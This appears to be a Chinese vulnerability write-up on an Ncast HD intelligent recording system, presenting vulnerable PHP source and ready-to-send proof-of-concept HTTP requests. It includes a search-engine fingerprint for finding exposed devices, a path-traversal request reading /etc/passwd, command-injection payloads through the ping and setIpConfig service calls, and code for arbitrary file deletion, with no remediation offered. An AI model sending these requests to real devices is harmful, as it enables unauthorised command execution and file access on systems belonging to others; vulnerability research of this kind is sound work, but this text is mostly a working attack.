代码审计-某产品高清智能录播系统漏洞分析附未公开POC

app="Ncast-产品" && title=="高清智能录播系统"

require_once "gerenal.inc"; // 在gerenal.inc文件中存在自动加载类文件，可用遍历目录下的类文件并加载该文件
$input = urldecode(file_get_contents("php://input"));  //获取POST内容$jsonObj = json_decode($input); // 解码$function = getFunctionFromJson($jsonObj); // 动态获取服务对象$retValue = $function->getFuncMethod()->invokeArgs($function->getServiceObject(), $function->getParameters()); // 调用上面的服务对象的对应的函数方法，并传递了对应的参数
function getFunctionFromJson($jsonObj){  $log = Logger::getLogger("busiFacade");  $serviceName = $jsonObj->{"serviceName"};    $funcName = $jsonObj->{"name"};    $class = null;    try    {      $class = new ReflectionClass($serviceName);      $functionModel = new FunctionModel();      $functionModel->setServiceObject($class->newInstance());      $functionModel->setFuncMethod($class->getmethod($funcName));      $functionModel->setParameters($jsonObj->{"param"});      $log->info("class:".$serviceName.",func:".$funcName);      return $functionModel;    }    catch(Exception $e)    {      throw $e;    }}

{"name":"ping","serviceName":"SysManager","userTransaction":false,"param":["127.0.0.1"]}

GET /developLog/downloadLog.php?name=../../../../etc/passwd HTTP/1.1Host: xxxUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=xxxxConnection: close

POST /classes/common/busiFacade.php HTTP/1.1Host: xxxxContent-Length: 130Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=xxxxConnection: close
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22127.0.0.1%7Cpwd%22%5D%7D

public function ping($ip){  try   {    $ret = shell_exec("ping -c4 $ip");    $this->log->info($ret);    return $ret;   }   catch (Exception $e)   {    $this->log->error($e->getMessage(), $e);    throw $e;  }}

POST /classes/common/busiFacade.php HTTP/1.1Host: xxxxxxxContent-Length: 261Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=xxxxxConnection: close
%7B%22name%22%3A%22setIpConfig%22%2C%22serviceName%22%3A%22SysManager%22%2C%22userTransaction%22%3Afalse%2C%22param%22%3A%5B%22%3Bpwd%3E%3E1.txt%22%2C%22255.255.252.0%22%2C%22192.168.7.1%22%2C%22202.96.128.86%22%2C%22192.168.89.89%22%2C%22255.255.252.0%22%5D%7D

public function setIpConfig($ip, $mask, $gateway, $dns, $ip2, $mask2){  $cmd = "/ncast/shell/saveIP.sh $ip $mask $gateway $dns $ip2 $mask2";  try   {    $this->log->info($cmd);    exec($cmd);  }   catch (Exception $e)   {    $this->log->error($e->getMessage(), $e);    throw $e;  }}

$obj = $_REQUEST;function deleteDevLog($obj){  $logger = Logger::getLogger("deleteDevLog");  $pathNames = $obj['pathNames'];  try{    if(count($pathNames) < 0 || $pathNames == null)      return ;    foreach($pathNames as $pathName){      if(file_exists($pathName))        unlink($pathName);      $logger->info("删除日志：".$pathName);    }  }catch (Exception $e){    $logger->error($e->getMessage(), $e);    throw $e;  }  }$type = $obj['type'];if("del" == $type){  deleteDevLog($obj);}else{  qryDevelopLog($obj);}